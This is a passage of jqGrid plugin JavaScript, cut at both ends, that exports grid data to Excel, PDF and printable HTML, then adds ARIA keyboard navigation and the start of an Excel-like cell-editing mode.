colInHeader) { if(colInHeader[key2] === key) { if(clone[key2]) { // first visible in group clone[key2] = ghdata[icol].titleText; ind = data.header.indexOf(key2); nok = ghdata[icol].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk < cpos + ghdata[icol].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } start = $.jgrid.excelCellPos(ind) + mrow; end = $.jgrid.excelCellPos(ind+ nok - 1) + mrow; mergecell.push({ ref: start+":"+end }); break; } } } } } } addRow( clone, true, true ); } //$('row c', rels).attr( 's', defaultHeaderStyle ); // bold } if ( o.includeLabels ) { if($t.p.colSpanHeader.length) { mrow++; gh = $t.p.colSpanHeader; clone ={}; for(j = 0; j < data.header.length; j++ ) { key = data.header[j]; clone[key] = data.labels[j]; for (l = 0; l < gh.length; l++) { ghdata = gh[l]; if(ghdata.startColumnName === key) { clone[key] = ghdata.titleText; start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j+ghdata.numberOfColumns -1) + mrow; mergecell.push({ ref: start+":"+end }); } } } addRow( clone, true, true ); } else { addRow( data.header, true, true ); } //$('row', rels).last().find('c').attr( 's', '2' ); // bold } if (data.mergecell.length) { mergecell = mergecell.concat(data.mergecell); } if(mergecell.length) { var merge = $.jgrid.makeNode( rels, 'mergeCells', { attr : { count : mergecell.length } }); $('worksheet', rels).append( merge ); for(i=0;i<mergecell.length;i++) { merge.appendChild($.jgrid.makeNode(rels, 'mergeCell',{ attr: mergecell[i] })); } } if ( o.includeHeader || $t.p.headerrow) { var hlen = $($t).jqGrid("headerData", "getlength"), il, hdata; for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); for( i in hdata) { if(hdata.hasOwnProperty(i)) { hdata[i] = $.jgrid.stripHtml(hdata[i]); } } if(!$.isEmptyObject(hdata)) { addRow( hdata, true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } } if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; groupToExcel(data.body); $t.p.groupingView._locgr = savlcgr; } else { for ( var n=0, ie=data.body.length ; n<ie ; n++ ) { addRow( data.body[n], false ); } } if ( o.includeFooter || $t.p.footerrow) { if(!$.isEmptyObject(data.footer)) { if(Array.isArray(data.footer)) { for(var n=0;n<data.footer.length;n++) { addRow( data.footer[n], true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } else { addRow( data.footer, true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } } // Set column widths var cols = $.jgrid.makeNode( rels, 'cols' ); $('worksheet', rels).prepend( cols ); for ( i=0, ien=data.width.length ; i<ien ; i++ ) { cols.appendChild( $.jgrid.makeNode( rels, 'col', { attr: { min: i+1, max: i+1, width: data.width[i], customWidth: 1 } } ) ); } if($.jgrid.isFunction( o.onBeforeExport) ) { o.onBeforeExport.call($t, xlsx, rowPos ); } data = null; // free memory try { var zip = new JSZip(); var zipConfig = { type: 'blob', mimeType: o.mimetype }; $.jgrid.xmlToZip( zip, xlsx ); if ( zip.generateAsync ) { // JSZip 3+ zip.generateAsync( zipConfig ) .then( function ( blob ) { $.jgrid.saveAs( blob, o.fileName, { type : o.mimetype } ); }); } else { // JSZip 2.5 $.jgrid.saveAs( zip.generate( zipConfig ), o.fileName, { type : o.mimetype } ); } } catch(e) { throw e; } finally { if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } } }); }, exportToPdf : function (o) { o = $.extend(true,{ title: null, orientation: 'portrait', pageSize: 'A4', description: null, onBeforeExport: null, download: 'download', includeLabels : true, includeGroupHeader : true, includeFooter : true, includeHeader : true, fileName : "jqGridExport.pdf", mimetype : "application/pdf", treeindent : "-", visibleTreeNodes : false, centerTableOnPage : false, loadIndicator : true // can be a function }, o || {} ); return this.each(function() { var $t = this, rows = [], j, cm = $t.p.colModel, ien, obj = {}, key, data = $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), def = [], i=0, map=[], test=[], widths = [], align={}; // Group function function groupToPdf ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, cm = $t.p.colModel, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function constructRow( row, fmt, skipfirstcol ) { var k =0, test=[], ommit, val; if(skipfirstcol === undefined ) { skipfirstcol = false; } //row = data[i]; for( var key=0; key < def.length; key++ ) { ommit = !(key === 0 && skipfirstcol);// ? false : true; val = row[def[key]]; obj = { text: val == null || val === '' ? '' : (fmt && ommit ? $.jgrid.formatCell( val + '', map[k], data[i], cm[map[k]], $t, 'pdf') : val), alignment : align[key], style : 'tableBody' }; test.push(obj); k++; } return test; } function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(def); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key = 0; key< d.length; key++ ) { clone[d[key]] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.length; ll++) { groupingPrepare.call($($t), data[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(def); } var fkey = Object.keys(arr); arr[fkey[0]] = $.jgrid.stripHtml( new Array(n.idx*5).join(' ') + grpTextStr ); rows.push( constructRow (arr, true, true) ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; rows.push( constructRow (to, true) ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); rows.push( constructRow (arr, true, true) ); } toEnd = jj; } } }); } //============================================================================ if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } var k; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined ) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if( $.jgrid.isServiceCol(cm[j].name) || !cm[j]._expcol ) { continue; } obj = { text: $t.p.colNames[j], style: 'tableHeader' }; test.push( obj ); def[i] = cm[j].name; map[i] = j; widths.push(cm[j].width); align[cm[j].name] = cm[j].align || 'left'; i++; } var gh, clone; if(o.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn') ) { gh = $t.p.groupHeader; for (i=0;i < gh.length; i++) { clone = []; var ghdata = gh[i].groupHeaders, colSpan = gh[i].useColSpanStyle; for(key=0; key < cm.length; key++ ) { /* if(colSpan) { obj = {text: $t.p.colNames[key], style: 'tableHeader', rowSpan : 2, verticalAlign : "center"}; } else { obj = {text:'', style: 'tableHeader'}; } */ var put_me = true; if( $.jgrid.isServiceCol( cm[key].name ) || !cm[key]._expcol ) { put_me = false; } else { if(colSpan) { obj = {text: $t.p.colNames[key], style: 'tableHeader', rowSpan : 2, verticalAlign : "center"}; } else { obj = {text:'', style: 'tableHeader'}; } } for(k=0;k<ghdata.length;k++) { if(ghdata[k].startColumnName === cm[key].name) { var nok = ghdata[k].numberOfColumns; for(var fk = key; fk<key+ghdata[k].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } obj = { text : ghdata[k].titleText, colSpan: nok, /*ghdata[k].numberOfColumns,*/ style: 'tableHeader' }; if(put_me===false && nok >0) { put_me = true; key=key+(ghdata[k].numberOfColumns-nok); } } } if(put_me) { clone.push(obj); } //j++; } rows.push(clone); } } if(o.includeLabels) { if($t.p.colSpanHeader.length) { gh = $t.p.colSpanHeader; clone = []; for(key=0; key < def.length; key++ ) { obj = {text: $t.p.colNames[key], style: 'tableHeader', verticalAlign : "center"}; for(k=0;k<gh.length;k++) { if(gh[k].startColumnName === def[key]) { obj = { text : gh[k].titleText, colSpan: gh[k].numberOfColumns, style: 'tableHeader' }; } } clone.push(obj); j++; } rows.push( clone ); } else { rows.push( test ); } } var hlen, il; if ( o.includeHeader && $t.p.headerrow) { var hdata; hlen = $($t).jqGrid("headerData", "getlength"); for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); test=[]; for( key =0; key< def.length; key++) { obj = { text : $.jgrid.stripHtml( $.jgrid.getAccessor(hdata, def[key]) ), style : 'tableFooter', alignment : align[def[key]] }; test.push( obj ); } rows.push( test ); } } if($t.p.grouping) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; groupToPdf(data); $t.p.groupingView._locgr = savlcgr; } else { var row; for ( i=0, ien=data.length ; i<ien ; i++ ) { k =0; test=[]; row = data[i]; for( key = 0;key < def.length; key++ ) { obj = { text: row[def[key]] == null ? '' : $.jgrid.stripHtml($.jgrid.formatCell( $.jgrid.getAccessor(row, def[key]) + '', map[k], data[i], cm[map[k]], $t, 'pdf')), alignment : align[def[key]], style : 'tableBody' }; test.push(obj); k++; } rows.push(test); } } if ( o.includeFooter && $t.p.footerrow) { hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { var fdata = $($t).jqGrid("footerData", "get", null, false, il, false); test=[]; for( key =0; key< def.length; key++) { obj = { text : $.jgrid.stripHtml( $.jgrid.getAccessor(fdata, def[key]) ), style : 'tableFooter', alignment : align[def[key]] }; test.push( obj ); } rows.push( test ); } } var tblcnt = { style : 'tableExample', widths : widths, table: { headerRows: (gh!=null) ? 0 : 1, body: rows } }; if(o.centerTableOnPage) { tblcnt = { columns : [ { width: '*', text: '' }, { style : 'tableExample', width: 'auto', widths : widths, table: { headerRows: (gh!=null) ? 0 : 1, body: rows }, alignment: "center" }, { width: '*', text: '' } ] }; } var doc = { pageSize: o.pageSize, pageOrientation: o.orientation, content: [ tblcnt ], styles: { tableHeader: { bold: true, fontSize: 11, color: '#2e6e9e', fillColor: '#dfeffc', alignment: 'center' }, tableBody: { fontSize: 10 }, tableFooter: { bold: true, fontSize: 11, color: '#2e6e9e', fillColor: '#dfeffc' }, title: { alignment: 'center', fontSize: 15 }, description: {} }, defaultStyle: { fontSize: 10 } }; if ( o.description ) { doc.content.unshift( { text: o.description, style: 'description', margin: [ 0, 0, 0, 12 ] } ); } if ( o.title ) { doc.content.unshift( { text: o.title, style: 'title', margin: [ 0, 0, 0, 12 ] } ); } if( $.jgrid.isFunction( o.onBeforeExport ) ) { o.onBeforeExport.call($t, doc); } try { var pdf = pdfMake.createPdf( doc ); pdf.getDataUrl(function(url) { if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } }); if ( o.download === 'open' ) { pdf.open(); } else { pdf.getBuffer( function (buffer) { $.jgrid.saveAs( buffer, o.fileName, {type: o.mimetype } ); } ); } } catch(e) { throw e; } }); }, exportToHtml : function ( o ) { o = $.extend(true,{ title: '', onBeforeExport: null, includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, tableClass : 'jqgridprint', autoPrint : false, topText : '', bottomText : '', returnAsString : false, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, o || {} ); var ret; this.each(function() { var $t = this, cm = $t.p.colModel, i=0, j, ien, //obj={}, data = { body : $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), header : [], footer : [], width : [], map : [], align:[] }; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if( cm[j].name === 'cb' || cm[j].name === 'rn' || cm[j].name === 'subgrid' || cm[j].name === 'sc' || !cm[j]._expcol) { continue; } data.header[i] = cm[j].name; data.width[ i ] = cm[j].width; data.map[i] = j; data.align[i] = cm[j].align || 'left'; i++; } var _link = document.createElement( 'a' ); var _styleToAbs = function( el ) { var clone = $(el).clone()[0]; if ( clone.nodeName.toLowerCase() === 'link' ) { clone.href = _relToAbs( clone.href ); } return clone.outerHTML; }; var _relToAbs = function( href ) { // Assign to a link on the original page so the browser will do all the // hard work of figuring out where the file actually is _link.href = href; var linkHost = _link.host; // IE doesn't have a trailing slash on the host // Chrome has it on the pathname if ( linkHost.indexOf('/') === -1 && _link.pathname.indexOf('/') !== 0) { linkHost += '/'; } return _link.protocol+"//"+linkHost+_link.pathname+_link.search; }; var addRow = function ( d, tag , style ) { var str = '<tr>', stl; for ( var i=0, ien=d.length ; i<ien ; i++ ) { stl = (style === true ? " style=width:"+data.width[i]+"px;":""); str += '<'+tag+stl+'>'+$t.p.colNames[data.map[i]]+'</'+tag+'>'; } return str + '</tr>'; }; var addBodyRow = function ( d, tag, frm, style, colsp) { var str = '<tr>', f, stl; //style = true; for ( var i=0, ien = data.header.length; i< ien; i++ ) { if(colsp) { stl = ' colspan= "'+ (data.header.length) +'"' + " style=text-align:left"; } else { stl = (style === true ? " style=width:"+data.width[i]+"px;text-align:"+data.align[i]+";" : " style=text-align:"+data.align[i]+";"); } f= data.header[i]; if (d.hasOwnProperty(f) ) { str += '<'+tag+stl+'>'+ (frm ? $.jgrid.formatCell( $.jgrid.getAccessor( d, f ), data.map[i], d, cm[data.map[i]], $t, 'html') : d[f])+'</'+tag+'>'; } if(colsp) { break; } } return str + '</tr>'; }; //========================================================================= function groupToHtml ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, colspans = cm.length, toEnd = 0, retstr=""; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(data.header); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', this.v, k, this); //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key=0;key<d.length; key++ ) { clone[ d[key] ] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.body.length; ll++) { groupingPrepare.call($($t), data.body[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr, colSpan = false; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(data.header); colSpan = true; } var fkey = Object.keys(arr); arr[fkey[0]] = new Array(n.idx*5).join(' ') + grpTextStr ; retstr += addBodyRow( arr, 'td', true, toEnd === 1, colSpan ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; retstr += addBodyRow( to, 'td', true ); //addRow( to, false ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); retstr += addBodyRow( arr, 'td', true ); //addRow( arr, true ); } toEnd = jj; } } }); return retstr; } if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } var html = '<table class="'+o.tableClass+'">'; if ( o.includeLabels ) { html += '<thead>'+ addRow( data.header, 'th', true ) +'</thead>'; } html += '<tbody>'; var hlen, il; if ( o.includeHeader && $t.p.headerrow ) { var hdata; hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); html += addBodyRow( hdata, 'td' , false); } } } if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; html += groupToHtml(data.body); $t.p.groupingView._locgr = savlcgr; } else { for ( i=0, ien=data.body.length ; i<ien ; i++ ) { html += addBodyRow( data.body[i], 'td', true, (i===0?true:false) ); } } if ( o.includeFooter && $t.p.footerrow ) { hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { data.footer[il] = $($t).jqGrid("footerData", "get", null, false, il, false); html += addBodyRow( data.footer[il], 'td' , false); } } html += '</tbody>'; html += '</table>'; if (o.returnAsString ) { ret = html; } else { // Open a new window for the printable table var win = window.open( '', '' ); win.document.close(); var head = o.title ? '<title>'+o.title+'</title>' : ''; $('style, link').each( function () { head += _styleToAbs( this ); } ); try { win.document.head.innerHTML = head; // Work around for Edge } catch (e) { $(win.document.head).html( head ); // Old IE } win.document.body.innerHTML = (o.title ? '<h1>'+o.title+'</h1>' : '') + '<div>'+(o.topText || '')+'</div>'+ html+ '<div>'+(o.bottomText || '')+'</div>'; $(win.document.body).addClass('html-view'); $('img', win.document.body).each( function ( i, img ) { img.setAttribute( 'src', _relToAbs( img.getAttribute('src') ) ); } ); if( $.jgrid.isFunction( o.onBeforeExport ) ) { o.onBeforeExport.call($t, win); } if(Boolean(win.chrome)) { if ( o.autoPrint ) { win.print(); win.close(); } } else { setTimeout( function () { if ( o.autoPrint ) { win.print(); win.close(); } }, 1000 ); } } if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } }); return ret; } }); //module begin $.extend($.jgrid,{ focusableElementsList : [ '>a[href]', '>button:not([disabled])', '>area[href]', '>input:not([disabled])', '>select:not([disabled])', '>textarea:not([disabled])', '>iframe', '>object', '>embed', '>*[tabindex]', '>*[contenteditable]' ] }); $.jgrid.extend({ ariaBodyGrid : function ( p ) { var o = $.extend({ onEnterCell : null, onKeyCheck : null, customCellAction : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true); // basic functions function isValidCell(row, col) { return ( !isNaN(row) && !isNaN(col) && row >= 0 && col >= 0 && $t.rows.length && row < $t.rows.length && col < $t.p.colModel.length ); } function getNextCell( dirX, dirY) { var row = $t.p.iRow + dirY; // set the default one when initialize grid var col = $t.p.iCol + dirX; // set the default ................. var rowCount = $t.rows.length; var isLeftRight = dirX !== 0; if (!rowCount) { return false; } var colCount = $t.p.colModel.length; if (isLeftRight) { if (col < 0 && row >= 2) { col = colCount - 1; row--; } if (col >= colCount) { col = 0; row++; } } if (!isLeftRight) { if (row < 1) { col--; row = rowCount - 1; if ($t.rows[row] && col >= 0 && !$t.rows[row].cells[col]) { // Sometimes the bottom row is not completely filled in. In this case, // jump to the next filled in cell. row--; } } else if (row >= rowCount || !$t.rows[row].cells[col]) { row = 1; col++; } } if (isValidCell(row, col)) { return { row: row, col: col }; } else if (isValidCell($t.p.iRow, $t.p.iCol)) { return { row: $t.p.iRow, col: $t.p.iCol }; } else { return false; } } function getNextVisibleCell(dirX, dirY) { var nextCell = getNextCell( dirX, dirY); if (!nextCell) { return false; } while ( $($t.rows[nextCell.row].cells[nextCell.col]).is(":hidden") ) { $t.p.iRow = nextCell.row; $t.p.iCol = nextCell.col; nextCell = getNextCell(dirX, dirY); if ($t.p.iRow === nextCell.row && $t.p.iCol === nextCell.col) { // There are no more cells to try if getNextCell returns the current cell return false; } } if( dirY !== 0 ) { $($t).jqGrid('setSelection', $t.rows[nextCell.row].id, false, null, false); } return nextCell; } function movePage ( dir ) { var curpage = $t.p.page, last =$t.p.lastpage; curpage = curpage + dir; if( curpage <= 0) { curpage = 1; } if( curpage > last ) { curpage = last; } if( $t.p.page === curpage ) { return; } $t.p.page = curpage; $t.grid.populate(); } var focusableElementsSelector = $.jgrid.focusableElementsList.join(); /* function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } * */ $($t).removeAttr("tabindex"); $($t).on('jqGridAfterGridComplete.setAriaGrid', function( e ) { //var grid = e.target; $("tbody", $t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").attr("tabindex", -1); $("tbody", $t).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"); if($t.p.iRow !== undefined && $t.p.iCol !== undefined) { if($t.rows[$t.p.iRow]) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]) .attr('tabindex', 0) .focus( function() { $(this).addClass(highlight);}) .blur( function () { $(this).removeClass(highlight);}); } } }); $t.p.iRow = 1; $t.p.iCol = $.jgrid.getFirstVisibleCol( $t ); var focusRow=0, focusCol=0; // set the dafualt one var custAct = $.jgrid.isFunction( o.customCellAction ) ? o.customCellAction : false; var onKeyCheck = $.jgrid.isFunction(o.onKeyCheck) ? o.onKeyCheck : false; $($t).on('keydown', function(e) { if($t.p.navigationDisabled && $t.p.navigationDisabled === true) { return; } if(e.target.id.startsWith("jqs_"+$t.p.id)) { return; } if(onKeyCheck) { if(!onKeyCheck.call($t, $t.rows[$t.p.iRow].id, $t.p.iRow, $t.p.iCol, e) ) { return; } } var key = e.which || e.keyCode, nextCell; switch(key) { case (38) : // DOWN nextCell = getNextVisibleCell(0, -1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (40) : // UP nextCell = getNextVisibleCell(0, 1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (37) : // LEFT nextCell = getNextVisibleCell(-1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (39) : // RIGHT nextCell = getNextVisibleCell(1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 36 : // HOME if(e.ctrlKey) { focusRow = 1; } else { focusRow = $t.p.iRow; } focusCol = 0; e.preventDefault(); break; case 35 : // END if(e.ctrlKey) { focusRow = $t.rows.length - 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.colModel.length - 1; e.preventDefault(); break; case 33 : // PAGEUP movePage( -1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; e.preventDefault(); break; case 34 : // PAGEDOWN movePage( 1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; if(focusRow > $t.rows.length-1) { focusRow = $t.rows.length-1; $t.p.iRow = $t.rows.length-1; } e.preventDefault(); break; case 13 : // Enter if( $.jgrid.isFunction( o.onEnterCell )) { o.onEnterCell.call( $t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); e.preventDefault(); } return; case 113 : // F2 try{ $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e); } catch(e1){} break; default: if( custAct ) { custAct.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } return; } setTimeout(function(){ $($t).jqGrid("focusBodyCell", focusRow, focusCol, getstyle, highlight); },50); }); $($t).on('jqGridBeforeSelectRow.ariaGridClick',function() { return false; }); $($t).on('jqGridCellSelect.ariaGridClick', function(el1, id, status,tdhtml, e) { var el = e.target; if($t.p.iRow > 0 && $t.p.iCol >=0) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr("tabindex", -1); } if($(el).is("td") || $(el).is("th") || el.id.startsWith("jqs_"+$t.p.id)) { $t.p.iCol = el.cellIndex; } else { return; } var row = $(el).closest("tr.jqgrow"); $t.p.iRow = row[0].rowIndex; $(el).attr("tabindex", 0) .addClass(highlight) .focus() .blur(function(){$(this).removeClass(highlight);}); }); $t.p.ariaBody = true; }); }, excelLikeGrid : function ( p ) { var o = $.extend({ beforeDeleteCell : null, customCellAction : null, customUndoFunction : null, specialChars : [ '~', '!','@', '#', '$','%','^','&','*','(',')','_', '+','{','}', ':', '"', '|','<','>','?',',','.','/',';','\\','[',']' ], addonChars : false, // ^[а-я]$/i onKeyCheck : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true); $t.p.F2key = false; // basic functions var baseFunc = { isValidCell : function (row, col) { return ( !isNaN(row) && !isNaN(col) && row >= 0 && col >= 0 && $t.rows.length && row < $t.rows.length && col < $t.p.colModel.length ); }, getNextCell: function ( dirX, dirY) { var row = $t.p.iRow + dirY; // set the default one when initialize grid var col = $t.p.iCol + dirX; // set the default ................. var rowCount = $t.rows.length; var isLeftRight = dirX !== 0; var collimit = $t.p.frozenColumns ? $t.p.frozenColCount + 1 : 0; if (!rowCount) { return false; } var colCount = $t.p.colModel.length; if (isLeftRight) { if (col < collimit ) { col = collimit; } if (col === colCount) { col = colCount; } } if (!isLeftRight) { if ($t.rows[row] && col >= 0 && !$t.rows[row].cells[col]) { row--; } } if (this.isValidCell(row, col)) { return { row: row, col: col }; } else if (this.isValidCell($t.p.iRow, $t.p.iCol)) { return { row: $t.p.iRow, col: $t.p.iCol }; } else { return false; } }, 